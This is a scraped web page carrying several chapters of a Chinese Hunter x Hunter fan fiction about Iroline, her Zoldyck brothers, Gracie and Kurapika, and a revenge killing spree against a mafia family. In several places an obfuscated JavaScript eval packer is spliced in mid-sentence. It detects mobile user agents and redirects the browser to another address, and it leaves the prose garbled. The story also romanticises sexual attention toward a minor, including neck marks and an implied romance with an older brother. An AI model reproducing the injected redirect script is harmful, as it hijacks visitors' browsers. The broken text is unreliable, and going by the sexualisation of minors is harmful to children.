不是因为疼爱伊洛林，而是因为他们也害怕，怕自己。 但是亚路嘉仍旧很开心，因为这样他就能再度见到伊洛林了。他对伊洛林撒 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拿尼加，你觉得呢？对吧对吧，你也觉得很好的，对吧？ 亚路嘉对伊洛林堪称大方，先是答应了让伊尔迷梦见她的过去，又答应了让她解除死后念变回女性，他将面颊压在伊洛林微微隆起的柔软上，搂着她的腰，问她还想要什么？ 拿尼加也对她笑，拿尼加说，伊洛林，想要的都给你哦。 他们对人类并不喜欢，不曾区别对待任何人，想要实现愿望就用代价来交换，每个人都有愿望，如果不主动，那就强求过来三个代价不就好了吗？只有两个人是不同的，是奇犽，也是伊洛林，他们三个人在庭院里的日子，是任何人也无法取代的。 伊洛林还是会对亚路嘉笑，这样亚路嘉就已经很满足了。 可是伊洛林还隔三岔五地来，给自己讲故事，给自己唱歌，陪自己吃饭，亚路嘉更喜欢黏在伊洛林身边，他太久没有同人亲密接触，像是渴望一般，恨不得每分每秒都要同伊洛林贴在一起。 可他问伊洛林想要什么，伊洛林总说没有，她会自己去做的。 亚路嘉很苦恼，他可是想对伊洛林更好一些呢！ 伊洛林身上的痕迹，从未淡过，偶尔她陪着自己睡觉时。亚路嘉也会尝试着吮出一点印子来，伊洛林很迟钝，她未曾发现自己的身上多了点别人的印子，长发遮盖住，像是谁也注意不到。伊洛林只是愧疚，自己无法将亚路嘉带出去，哪怕他们意识到了，亚路嘉是可控的。 当她跟随着亚路嘉说出愿望时，拿尼加兴高采烈地应下回答。 好哦！ 伊洛林，要幸运，要快乐，要等待。 他们会有很长很长的时间在一起，亚路嘉会和拿尼加、奇犽和伊洛林一直一直在一起！ 拿尼加，伊洛林会愿意吗？ 嘿嘿，对哦，伊洛林一定会愿意的，和自己，在一起。 89.81 伊尔迷发现了伊洛林脖颈上，那一块突兀的痕迹。 他没问，伊洛林没说，那就是伊洛林自己也并不知道，看起来自己的弟弟已经起了不好的心思，不过无所谓，目前来说，不足为惧。 他并不害怕任何人能够和自己争夺伊洛林。 就像格蕾西自信满满的理由是他们曾经的时间一样，时间可是重要的东西，伊尔迷清晰地知道在伊洛林的心里，谁排第一谁排第二，拈酸吃醋这种事伊尔迷没有兴趣，虽然稍微有些不悦，但并非伊洛林的错。她只不过是需要教育，需要被自己引导的孩子罢了，所以伊尔迷并未提出什么。 难得睡了一晚上素的，伊洛林自然神清气爽。 一大早起来训练的时候，又额外去见了一回华石斗郎，见对方恢复得很不错，又接受了揍敌客式训练，实力增强了不少，也挺满意。只是华石斗郎还在纠结为什么从伊洛林少爷又变成了伊洛林小姐，你们切换性别都这么容易吗？ “有要和格蕾西说的话吗？我帮你带。” 华石斗郎想了想：“请你帮我转达，保重身体，我们很快会再见。” 伊洛林答应了，另外让华石斗郎有空去考个猎人证，不要闲着没事做瞎琢磨念能力，华石斗郎虚心接受，心里还在琢磨，这次打不过西索纯粹是自己走错了方向，下一次他一定能够把西索打得落花流水。 华石斗郎志得意满。 伊洛林没懂他的想法，回去找家人道别后，重新踏上了去往小杰家的旅途。飞艇将她接走，望着下方的世界，她想了很久要怎么让奇犽记起来亚路嘉，直接提吗？还是，更委婉一点呢？总之要快点把亚路嘉救出来才行。 伊尔迷和席巴都是一样的。 他们对她的宠爱一直以来都停留在没有太多期盼上，不是奇犽那一种沉甸甸的爱，奇犽才会承受不住，因为那样的爱太过于理所当然，也太过痛苦。 所以如果有人可以带走亚路嘉，那一定不是自己，而是奇犽。 想通了之后，伊洛林坐了下来，她最后的要求是希望给亚路嘉一个手机，限定只能联络自己，这样的条件下，伊尔迷同意每周三他会把手机给亚路嘉十分钟，伊洛林已经很感激了，无法再做到更多。 伊尔迷竟然没讨要奖励，报酬，已经是实属难得。 虽然总觉得哪里不太对。 电话嗡嗡作响，伊洛林看了一眼来电显示，微微有些惊讶地瞪大了眼睛，立刻接了电话：“酷拉皮卡？” “……嗯，是我，伊洛林。”电话那头犹豫了一下：“我想问你，现在本人是否在友克鑫。” 伊洛林略一思索，明白了什么。 “酷拉皮卡，那不是我。” “好的，我知道了。” “但你为什么会做那么危险的工作？” “果然，你们是认识的。” “嗯，我们之间有交易，她现在就是我……这种意思。” “……我明白了。” 伊洛林与酷拉皮卡双双沉默，他们很久没有联络，不知为何酷拉皮卡没有立刻挂断电话，伊洛林张了张嘴，最后吐出一句朋友之间的劝解：“听你的呼吸，你已经很久没有好好睡觉了，心率也失常，我知道不眠不休的苦，所以不希望你也一样，找个时间好好睡一觉吧。” “好，我知道，你也是。”酷拉皮卡这次没有再沉默，但也没再继续，他挂断了电话，看向沙发一侧坐着的，和他一样等待着金主的女人身上。 她有一张和伊洛林足有八成像的脸，海藻般黑色长发披散在身上，略微有些疲倦的神情令她看起来十分散漫，身材高挑，成熟而富有魅力，费婕和她讨论化妆品，她却一概不知，也并不知晓自己涂在嘴上的那根口红是限量发售，大概是谁赠送的。她穿着一条长裙，却在跷二郎腿，实在不像她表现出的那样富贵。 “小心一些。” 旋律提醒他：“这个人的心跳，非常坚定，是认定了某种事情就会一直走下去的那种感觉，但是她很危险。或许可以做朋友，但我好像总觉得……不可避免，或许你们之间不太能调和。” 女人抬眼看了一眼旋律，似乎是听到了。 还未有人开口的情况下，女人抓起裙摆拉扯一番撇到一侧去，露出一双修长白皙的双腿，她往后仰，目光直视旋律与酷拉皮卡：“自我介绍一下，我是伊洛林，揍敌客家族的二小姐。” 酷拉皮卡虽然早有准备，但还是差点露出个不太接受的表情。 这个伊洛林和那个伊洛林相差甚远。 在酷拉皮卡的印象里，伊洛林沉默，看起来温顺实际上拒人于千里之外，他直接而简单，思考方式也很容易被琢磨，他笑起来虽然有点僵硬，但是看得出来他是个比较沉稳内敛的孩子，还有，伊洛林不是男性吗，为什么要找一个女性扮演她？年龄差也太大了吧。 而这个伊洛林，看起来就是一个强硬而直接的女人，没有任何规则能够束缚她，随心所欲又干脆利落，刚刚掀裙子那一下很简单就把所有人的视线吸引过去了，但她毫无反应，比起湿透了还会害羞的伊洛林，就算这个伊洛林脱光了估计都不会有什么特别的反应。 太不相同了。 “……酷拉皮卡。” 他不咸不淡地介绍了自己，旋律与其他人也陆陆续续开口。 “我听零洛提起过你。”本以为到此为止，但伊洛林却继续说了下去：“祝你通过。” 她在传递无害的意思。 酷拉皮卡接受了，他知道零洛是伊洛林的另一个名字，于是点点头，但是不再开口，安静等待着属于他们的考试缓缓到来。 伊洛林从飞艇上一跃而下。 印着揍敌客家族徽章纹样的飞艇缓缓离开，她从高中落地，砸出一个不大不小的坑来，三两步就找到了小杰的家，推开门看见米特阿姨时还有点紧张：“阿姨好，打扰了。” 米特阿姨其实拿不准她。 之前说是男性没错吧？那么，现在穿裙子和小背心看得出生长痕迹的是……？ “……我现在是女生。” 现在？ 米特阿姨陷入混 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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伊洛林花了半个小时跟他解释，奇犽才终于明白自己的弟弟原来一直都是妹妹，只是因为念的关系从小就是男孩，然后又因为假扮需要改成了女孩，实际上依旧是男性，直到男性的念力被拔除，所以伊洛林的最终性别是女性。 好令人混乱的性别转换。 “但是不管怎么说，是好事！”奇犽想勾住她脖颈，却又碍于现在是妹妹，手都不知道往哪里搁，嘿嘿笑起来：“我有妹妹了！虽然不是说弟弟不好，但是……弟弟还有柯特嘛。” 不对，你还有一个弟弟。 伊洛林没说出口，她伸手抱住奇犽，搂着他的脖颈，在他耳边小声开口。 “哥哥，等友克鑫的事情结束了，我要告诉你一个秘密。” “现在不能说？” “不能，这是秘密，你和我的秘密。” 奇犽想了想，答应了：“对了还有一件事，呃……伊洛林，你现在有多少钱？我们需要一点点资金……” 另外打着伊洛林的旗号和糜稽进行交易这种事情，他也坦诚相告并且道歉了，真是对不起啊，但是二哥他就是对你挺好的嘛，所以借用一下名头！ 伊洛林想了想。 “……48亿？记得不是很清楚了，哥哥需要多少，什么时候还给我？因为这是我要用来买爸爸爷爷去杀西索的钱。” 杀西索那么贵吗！ 不对…伊洛林你的钱也太多了吧！！ 90.82 哪怕是奇犽，也从未见过这么多钱。 伊洛林无可奈何地询问奇犽，是否每次一拿到钱就立刻去买了零食巧克力？ 奇犽心虚，含含糊糊地点头，格蕾西对钱也没什么实质性的感受，对她来说左手西索的卡右手伊洛林的卡，想要什么直接刷卡就行了何必看价格呢？ “奇犽哥，你知道大哥有多少钱吗？” 奇犽想了想他哥一毛不拔的性格，只对兄弟姐妹大方但是也花不了多少钱，感觉这个数字一定是令人牙酸的，伊洛林不再说什么，只是把自己的卡放在了奇犽的手掌心里。 “尽力而为吧？” 手握58亿巨款，奇犽的手都在颤抖，小杰此刻已经感动得泪眼汪汪了，这么多钱，他一辈子也无法赚到的啊！可是伊洛林就这么借给自己了，他恨不得给伊洛林一个巨大的拥抱，然而被护犊子的奇犽一手隔开了。 笑话，是弟弟你搂搂抱抱一下无所谓，是妹妹的话，你是我兄弟也不行。 小杰委屈，但是小杰不说。 伊洛林笑一笑，没说什么，她望向格蕾西并且对她伸出了手，格蕾西看起来心绪不宁，但她还是握住了伊洛林的手，同她一起出门，说一些悄悄话。 她们联络过，格蕾西是知道伊洛林已经恢复记忆了的。 她忍不住想，伊洛林会怎么样？她会哭吗，会崩溃吗？还是会……变得更加不可捉摸？她想起猎人考试的时候，伊洛林几乎死去的痛苦，她自己也不清楚为什么情绪的反扑会这么剧烈，只有格蕾西很明白，她并不只是承担了十二年的感情，还有整整二十年的期望，是她对家庭的渴望。 格蕾西和伊洛林不一样。 格蕾西无比清醒地活着，清醒到自虐，而伊洛林可以活在梦里，只需要那是个足够美好的梦。 “感觉怎么样？” “感觉……自己很傻，很蠢。”伊洛林拉着格蕾西，她们是十指相扣，并肩而行：“深深，我没想到，他们会纵容我做出这么蠢的事情。我想了很久，猎人协会的目的，除了用我替父母报仇和向那些人的产业下手，我还发现只需要我完全下手，那样某些人就能够名正言顺地接纳其中的大部分资产。不仅仅是我被利用，我父母的朋友也被利用……那些考官们，或许也根本不知情。” “热血者的热血总是在为人创造价值。”格蕾西毫不置疑，她早就看不爽猎人协会了，总给她一种怪怪的感觉，反正觉得这也只不过是囊括了一群怪人的地方罢了，称不上什么好地方不好地方的：“所以你还打算按照原定计划行事吗。” “嗯……但是要改变一下计划。” 伊洛林挽起鬓发：“酷拉皮卡可能需要帮助，我想到友克鑫之后，我们分头行动。” “我能做什么？”格蕾西问道。 “我不太知道。”伊洛林抿了抿唇：“你或许可以跟着奇犽哥和小杰，他们可能更需要你一点……我不是拒绝你帮忙，但是，深深，我想你在最后能够成为我的王牌。” 那一张决定胜负的牌。 “有些事，我能自己做，有些事，我需要你帮忙。” 她将手染更多的鲜血。 踩踏出一条血路，杀到黎明，然后再堕入黑暗。 这是她自己选择的路。 格蕾西沉默着，她想起很久之前，她发现伊洛林的不对劲，她总是忘记自己在做什么，一瞬间的断片往往就是几个小时，偶尔她会变成第二个人，暴躁易怒，又会突然而然的变得很冷漠，但是每一次只要自己在，她就会是正常的伊洛林。所以自己是她的底牌，是她最后的稻草，是她刹车的把手，也是在一切都毁灭之前的暂停键。 “你知道的，对吧？” 虽然来得太迟，来得太晚，可是她们从来就不曾松开过彼此的手，所以她们应该要互相扶持，她们应该同生共死，谁也别想抛开谁，那样会变成一种背叛。 “嗯，我知道哦，所以其实我希望……你能帮助奇犽哥他们获得游戏，然后我们就可以一起进去玩了！”伊洛林笑起来，眼眸弯弯，她变得更加稳重一些，没有了曾经的稚气与成熟混杂的矛盾感。 她在想以后。 她还想有以后。 格蕾西放心了：“那就好。” “嗯！有任何需要的地方，我会立刻打电话给你的，麻烦帮我看着奇犽哥，我的钱只能花在买游戏上，其余的除了日常开销以外，也不能用！”伊洛林太了解奇犽了，他年纪尚小，想的东西有多有少，肯定会本金投出去赚钱就很容易，不知不觉满盘皆输，大哥说得很对，奇犽还是太年轻了。 想到伊尔迷，伊洛林记起来这一次拉格蕾西出来的真正目的。 “……你是说，伊尔迷完全知道了？” “并且其实你还有一个哥哥？这个哥哥能够实现你所有愿望？” 不知道是哪个消息更加震撼一点。 但是格蕾西立刻想到了其中一个问题：“那么我们能不能借助你哥哥的能力，帮助我们回家？”和宁愿沉浸在梦里的伊洛林不一样，哪怕世界再狼狈，她也是想要回去的，就算没有爱她的人又怎样，说得跟这里有似的？她从来就只有伊洛林而已。 什么手染鲜血不配回家，配不配她说了算。 “……其实，我问过。” 伊洛林颇有些沉重。 “当我问哥哥是否能让我回家的时候，另一个哥哥回答了我，他说……那个世界已经不存在了。” “什么意思？字面意思？” “字面意思。” 缓冲了半天格蕾西才接受自己的钱和出租屋都被一波清空事实，她不知道为什么，显然这个理由要么在她们身上，要么更加恐怖一点。她没有再追问，因为伊洛林肯定也没有继续问下去，她们很清楚那是没有结论的结论了。 格蕾西忍了又忍，她情不自禁地掐着伊洛林的脸质问她：“这个就算了，伊尔迷是怎么一回事？你真的想跟他谈对象？他不是个好东西！” “呜——法官大人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15283467|162407||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，请允许在下解释！” 伊洛林口齿不清。 其实逻辑也很简单，虽然伊洛林不是他们期望的孩子，但是伊洛林也被容纳进了揍敌客家，这是在格蕾西来之前就已成定局的事情。 所以如果伊洛林因为格蕾西想要脱离揍敌客家，那么格蕾西就会遭受揍敌客家一方的恶意，这个恶意看程度，如果伊洛林只是暂且离开家，那么可能就只是每个孩子出任务的时候看见了顺手弄死而已。如果是伊洛林永远脱离呢？格蕾西先死，死后把伊洛林囚禁看看能不能挽回，如果实在不行，很遗憾他们失去了一个孩子。 伊洛林不可能脱离揍敌客家。 因为各种各样的原因，为了自己，也为了格蕾西。 格蕾西觉得跟揍敌客家爆了也行，打不了就是一死，但又很清楚，死的只会是他们。她觉得很烦躁，也觉得厌烦。揍敌客家的存在就像是一座大山，如果伊洛林真的开始反抗，他们两个人将永远无法见面。 “但是、我也是真的……”伊洛林犹豫着说道：“我没有感受过爱，深深，我只在你身上感受到你的爱。大哥他对我的感情，和我之前遇到的都不一样……我，我抗拒不了。” 正是因为没有拥有过，才会显得无措。 好沉重的爱，好沉重的感情，压得喘不过气时却又感觉到了满足，像信纸的棱角划过喉咙，感觉到吞咽，食欲是爱，爱是恨，于是纠缠不休，分不清楚。 “我想试试……” “如果他知道我，他还能爱我，那我……” “我是愿意的。” 格蕾西深呼吸。 她需要力量，她要变得更强大，能把所有人都摁在地上的那种强大。不再看任何人的脸色，不再因为强弱而被迫禁锢在这个选择里。她清楚地知道如果自己说不要，伊洛林会选择拒绝伊尔迷，可是那样的话她和伊尔迷又有什么区别？她控制得住自己的控制欲，所以她才讨厌伊尔迷，那种肆无忌惮的样子……令人恨得牙根痒痒。 “……好吧。如果他对你好的话。” 伊尔迷除了控制欲强，其他的，勉强算挑不出毛病吧，但是闺蜜看你男朋友，就是鼻子不是鼻子，眼睛不是眼睛。伊尔迷那张貌美的脸，在格蕾西眼里一直是集塔喇苦。 一想到伊洛林也不讨厌集塔喇苦，她天都塌了。 “但是不准和他在成年前那个！！” “当然不会了！” 伊洛林确信自己不会。 呃就算他们，就差临门一脚，也不可能的，对吧？嗯嗯……伊洛林心虚。 “那你要和我们一起去友克鑫，对吧？” “嗯，跟你们一起。” 伊洛林搂着格蕾西的胳膊，她们好久没有好好在一起聊天了，反正也不急着回去，不是吗？格蕾西叹了口气，她们相依相偎，在这个异世界里，她们终于能够真正地、完全的，灵魂紧紧贴在一起。 你记起来了。 你是从前的你了，伊洛林。 91.83 哪怕是看过了伊洛林和亚路嘉的合照，真正听见亚路嘉的声音，还是会觉得这不就是个小女孩吗？ 格蕾西观察着伊洛林。 她接听电话的时候是一种完全放松的状态，对她这位哥哥似乎很信赖，不是故意偷听，但伊洛林也完全不在意她听得见就是了，这声音可爱的亚路嘉正询问着外面的样子，然后回应，做出判断，并且在挂电话的最后询问伊洛林：“要许个愿望吗？” 伊洛林表情无奈：“……哥哥。” 被控制的话真的就这辈子都出不了揍敌客了，表现出弱点的话，会被大哥抓住间隙的。 “我只是想要满足伊洛林！” “满足我可以有很多种途径啦……哥哥不是只能被许愿的机器人，我希望哥哥就是我哥哥而已。”伊洛林是这么想的，也是这么说的：“拿尼加哥哥也是，你们都帮助了我很多，已经足够多了！” “唔……” 满足伊洛林有很多种途径？ 亚路嘉脑海里闪过她痕迹斑驳的脖颈与肩膀，向下肯定还有很多他没能看见的全部，他脸上一红，稍微有一点胡思乱想起来，随即气鼓鼓地闹起了别扭：“可是我什么都没能继续为伊洛林做！我是哥哥，哥哥就是要照顾妹妹的！” 哪怕没有血缘关系又怎样？ 他的伊洛林就是天底下最好的伊洛林！要是哥哥和他说愿望，自己也会轻描淡写的三个请求之后满足的！ “让我为哥哥你做点什么吧。” 伊洛林一字一句，认认真真说道。 “等我下一次回家，哥哥。” “……好哦！” 电话挂断，格蕾西还在晃着腿，他们选择乘坐揍敌客家的飞艇，是因为这是最方便快捷的方式。奇犽根本不会动用揍敌客家的资源，在知道这飞艇是伊尔迷送伊洛林的生日礼物之后，气得一张脸憋得通红，他都没有这种待遇，上一次的生日礼物是巧克力，虽然他就是喜欢吃甜的，但是他也会羡慕啊可恶！ 格蕾西翻了个白眼。 “揍敌客所有的飞艇不还是你一个人的？” “……我才不需要！” “你看，给你你又不要。”格蕾西拍了拍他的肩膀：“努力赚钱，穷小子，还要靠妹妹的银行卡活着，啧啧啧，你大哥送的东西我都垂涎，听说柯特送的是价值一个亿的项链，奇犽哥哥，你送什么呢？嗯？” “……”奇犽发表以上六点重要讲话。 格蕾西这句话堵死了奇犽说自己还小的路，毕竟柯特出手都这么大方，柯特才几岁啊？奇犽绷不住了，被叫奇犽哥哥也绷不住了，是的，他做得好差……于是奇犽现在灰暗地蹲在角落里，小杰负责安抚他，但是效果平平无奇。 “我也送不了伊洛林很好的东西啦！” “……因为小杰你本身就没有钱，而我是花钱大手大脚。” “好过分啊奇犽！” 男生们灰暗双倍，格蕾西却捕捉到了重要的消息。 “你要和揍敌客抢人了？” “不是抢，是他们本来就不能把他关这么长的时间。”伊洛林把手机放回怀里：“哥哥他的性格几乎没有改变，从小到大都一样，因为他一直在固定的环境里长大……所以我想让哥哥也看看外面的世界。” 格蕾西倒是没觉得有什么，不如说，伊洛林有这份心就已经足够好了，还懂得去争取，揍敌客还没有把她养得百依百顺。 “如果可以许愿，格蕾西想要什么呢？” “嗯……不好说，太多太杂了，愿望这种东西，我会自己去达成的，全靠许愿岂不就是乱套了？” “格蕾西果然是格蕾西。” “这算什么话啊。” 两个人相视而笑，额头轻轻碰了碰对方的额头。 “……友克鑫要到了，要加油啊，林洛。” “嗯，等我联络你，深深。” 不论在世界的哪个角落，我都如此牵挂着你。 伊洛林独自离开的背影他们三个并排着看了很久，小杰疑惑为什么伊洛林没有邀请格蕾西一起行动，就像他邀请奇犽一样。格蕾西挑了挑眉，她反问小杰：“你觉得我和伊洛林是必须像连体婴儿一样，黏在一起的吗？” “也不是啦……” “我们有自己的生活，有自己的人生，只是在不断地交汇，不断地成长，在彼此的人生里出演重要的角色而已。”格蕾西说道：“奇犽还没有自己想做的事，是小杰你一直有，不是吗？” 所以奇犽和小杰才会一直在一起。 当人开始长大，就会明白，再好的友情都需要私人空间，再契合的朋友都有自我，所以人不会一直一直在一起，而是会一直的偶尔在一起。 “说不定我们也会进行短途的旅行，但是终究还是会有自己想做的事。” 奇犽沉默到现在，突然否认了：“不对，起码我现在有想做的事了，虽然才一件，但是帮助小杰也是另外一件事，我还没找到自己想做的事，所以这两件事就是我现在想做的事。” 他不希望被询问另一件事是什么。 不过小杰没有问，格蕾西是单纯的不在乎，她伸了个懒腰，听见自己的腰发出一些骨头扭动的声音：“再高级的飞艇坐久了都会腰间盘突出，走吧走吧，我们还有很多事，不是吗？我现在的目标就是，等伊洛林来找我。” 路永远在延伸，像人们永不止步。 是夜。 友克鑫是一座不夜城，哪怕到凌晨四点也有人在街上吵吵闹闹，他们从酒吧里、KTV里出来，吃着宵夜，聊着天，年轻人挥霍着年轻，而从世界各地聚集而来的□□们居住的场所，西装革履的墨镜男们沉默守着夜。 有一缕风轻轻吹过，摄像头什么也没有拍摄到。 “嗯？”其中一名高级一些的保镖疑惑抬起头，他发现什么也没有，因此只是继续沉迷于手头的游戏里，反正什么也不会发生的，不是吗？ 七点准时，晨报开播， 伊洛林坐在早餐厅的角落位置里，喝着一杯黑咖啡，不加糖，不加奶，苦涩的味道还有些许的酸，她安静听着播报，报道着□□的某位boss昨夜被暗杀在卧室里，她拢了拢长发，视线落在自己面前的资料上。纤长的手指轻轻抬起，粉色的指尖变长，尖锐的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15300979|162407||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 指甲划破了与报道中的男人一模一样的脸的那张照片，轻声默念：第一个。 要让克雷诺德家族衰败，就得先杀掉他的手足。 拔掉百足虫的腿，看他只能在地上扭动，伊洛林并不介意延长这个过程。 此时此刻，追杀她的杀手此刻已经闻着味找到了“伊洛林”。 酷拉皮卡沉默地看着满地的尸体。 “伊洛林”点燃一支烟，她看着眼前的血海，像是根本没在乎过，手指间夹着点燃的香烟，袅袅升起的烟雾里，那张相似的脸何其冷漠。她偏了偏头，对身后畏惧的眼神没有任何的表示，只是吐息一般呼出了烟雾，紧接着转身就走。 酷拉皮卡动了动，锁链碰撞声明显，于是“伊洛林” 停下了脚步。 “为什么？” “伊洛林”抬了抬眼皮：“你应该感谢我，我越危险，她就越安全，不是吗？” 她是一个靶子。 为伊洛林而存在的靶子。 “……为什么会有这么多人要杀她？” “你觉得揍敌客家的人很便宜？”她像是闲话家常一般，明明也是手下之一，可是没有人敢对她说什么不敬的话语，身份摆在这里，就算是boss来了，她也能做主太多事，因为她是揍敌客，哪怕是假的也会是真的：“不过她在做什么？和你一样啊。” “Avengers.” 酷拉皮卡骤然握紧了拳头。 “不、她不一样，她根本没有……” “没有理由？”她在笑，“伊洛林”似乎是很久没笑了，此刻笑得有些僵硬，她居高临下，凝望着这个青涩却又将自己硬拽着成长的少年：“你以为你是谁？很了解她吗，不，你对她的了解仅限于你知道的那一部分，她痛苦什么，难过什么，沦陷在哪里，你根本不知道，因为你算准了你没有未来没有以后。” “你又知道一些什么！” “揍敌客家没有不知道的东西。” “伊洛林”结束了这场谈话，单方面的对话看起来像是强化系的特权，任凭酷拉皮卡再怎么想要维持冷静，都没办法在她的面前成功，旋律担忧至极。 “她没有坏心思……”旋律说道：“她的心声没有隐瞒，酷拉皮卡，你还好吗？” “……我没事。” 压下情绪，酷拉皮卡缓缓吐息。 伊洛林，你到底在做什么，你又是为了什么而行动的呢？ 你的恨不够强烈，你的痛不够彻底，你又能往前走多远？你只有悲伤深入骨髓，那种不甘心还在驱使着你吗？ 酷拉皮卡握紧了手掌。 伊洛林。 他在心中一遍又一遍念着这个名字。 而此刻，伊洛林正沐浴在阳光下，她盯着广场中心雕像的影子，有片刻的恍惚，而后她抬起头，露出可爱的面容与那颗泪痣，她下垂的圆眼睛如同林间小鹿一般，男人呼吸急促，盯着她的脸，露出了势在必得的表情。 “小姑娘，你怎么在这里？是迷路了吗？叔叔帮你找家里人，怎么样呢！” “……好呀。” 伊洛林微笑着回应道。 92.84 黑暗的房间里，男人横趴在地上。 角落里，亮起的手机照亮了女孩稚嫩的面容，她穿着洁白的长裙，裙摆飘扬的褶皱里浸透了鲜血。她赤着脚，感受到冰凉的冷意漫上小腿，晚风吹拂起她黑色的长发，而她面无表情地回忆起陷阱塔里，自己唯一一个遇到的对手。 里伯是故意的，她现在很清楚为什么里伯要那么做。 自己的母亲大概就是受害者的其中之一，不过比较幸运，被救了出去，里伯希望伊洛林为母报仇。 他想知道伊洛林是否憎恶这样的人。 他想知道伊洛林是否会痛下杀手。 他得到了他想要的答案，此刻正在发短信给伊洛林，夸赞她的努力。伊洛林面无表情的把他拉黑，所有的考官里，她只对萨次印象分不错。至于里伯？败犬而已。连亲自复仇都不会的男人，不是自己爹真是太好了。 所谓猎人，和幻影旅团这些人的区别，也只在于会不会有道德底线而已。 她打开窗户，从上方一跃而下，赤着脚逃离了这个地方。 此后，□□戒严，所有人都隐约窥见了一抹不同寻常的信息，那就是克雷诺德家族惹上大麻烦了。他所属家族的高层，他的附庸家族高层，接二连三地死去，人员动荡，以至于下属不知所措，损失重大。 在黑暗里急速奔跑时，手机开始震动。 她望着上面的名字，神色依旧不曾改变——是酷拉皮卡。 她还记得酷拉皮卡的仇恨，后来回家，家里将收集的情报通通给她看，她也大致上明白了酷拉皮卡要面对的是谁，幻影旅团太危险，酷拉皮卡还需要更努力才行。就像她一样，克雷诺德家族的boss是个念能力者，这是后来才意识到的事。 她也需要更努力。 她和克雷诺德的仇恨在于杀了自己的父母吗？一点点吧，更大的原因是他涉及到了攻击揍敌客家，竟然妄想从揍敌客里把她逼迫出来，只是为了钱。 说来庸俗，但对世人来说，钱，巨额财富，真的能让人趋之若鹜吧。 伊洛林接听了电话。 伴随着奔跑的风声，伊洛林跃上高处，紧接着就是一个三连跳在建筑物的顶端落脚，挑选了一个方向后进行了更多次的跳跃，而此间，酷拉皮卡一直沉默着。 伊洛林回到了酒店，她迅速脱下带血的长裙丢在一旁，踏进了服务员帮忙放好的热水之中，这时候酷拉皮卡才开口。 “已经安全了吗？” “嗯。” 他们从来也不是什么无话不谈的朋友，只是感受到了善意与温暖的时候，伊洛林给予了自己的承诺。就像是心智不全的孩童，那个时候的伊洛林可不会像现在这样冷漠，她想太多，又完全恢复了记忆，就很难对人生出亲近的意思来。 对小杰是这样，对奇犽也出现苗头，正在努力掐断。 如果她真的开始疏远奇犽，那么，她这位内心稍微有点脆弱的哥哥，可能会背着她在外面哭。奇犽和揍敌客家的任何人都不一样，所以她也想要守着奇犽这点最后的快乐。 “伊洛林，很危险，对吗？” “还好。”伊洛林敷衍道：“如果你有什么想知道的，问她就行，她会告诉你。” “……我知道了。” 酷拉皮卡已经成长为一名内敛的少年，他识趣，不多问，但伊洛林也稍微有些愧疚了，毕竟她才意识到这是一通因为担忧她而到来的深夜来电，听着酷拉皮卡的呼吸声，她用绕了绕自己长发的手指戳了戳放在一旁的手机：“有件事要跟你说。” “我在听。”酷拉皮卡的声音依旧很温柔，像是完全不在意一般，虽然他们都很清楚，可能分别的那一天，酷拉皮卡握着伊洛林手的那一天，再也回不去了。 “我是女生。” “……这样吗？” “嗯，虽然从前确实是男的，但是我现在也确实是女的。” “发生了很糟糕的事情吗？” “也不算。”伊洛林想了想：“我不知道怎么跟你开口解释，如果有再见面的机会，或许我们能够好好聊聊天。你也在忙于自己的复仇，不用特地再打电话来关心我，祝愿我们都能够得偿所愿，好吗？” “好。” 酷拉皮卡利落地回应。 “那，我挂电话咯？” “好。” 伊洛林犹豫了一秒，还是狠心挂断了电话。 握着手机，酷拉皮卡坐在窗台上，他望着满月，微风吹拂他金色的短发，漂亮得如同女人一般的眉眼里，笼罩着一层忧愁的情绪。 她变得，不像是伊洛林了。 如果是曾经的伊洛林，应该会……不，不可以这么想。酷拉皮卡攥紧了手机，告诫自己，不要用自己的想法去定义伊洛林，不要去想更多伊洛林的事。 他们本就是两个世界的人。 永远不可能交汇的人。 他本来就不应该打这个电话，用什么身份去关心？又要用什么态度去证明？本就是无解的问题，还不如打电话给雷欧力或者小杰奇犽，但是，为什么偏偏一直记挂着呢。酷拉皮卡垂下眼睫，他抿着唇，将最后一丝杂念都斩断。 是的，比起这个，他还有更重要的事情要做。 伊洛林趴在浴缸的边缘，热气舒缓着她疲惫的身躯。看似简单的行动，往往需要经过缜密的筹谋，她殚精竭虑算了又算，才能够做到近乎完美，而之后的目标身边或多或少都有几个念力者，自己只是一个强化系而已。 强化系的念是直接作用在身体上的，最简单直接和效果显著，但是太简单也是弊端之一。 要练成那个叫窝金的人一样的程度，还需要很长时间，可是她已经没有时间了。伊洛林叹了一口气，她的头发又长了很多，浮动在水面上，稚嫩的双手早已经有了一层练家子才有的茧，不可思议，自己竟然拥有了这种程度的力量……但是，她想起基裘站在黑暗里看着自己的那张脸，她想起席巴看着她说再允许她陷入情绪里一段时间。 家里已经没有太多的耐心和自由 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 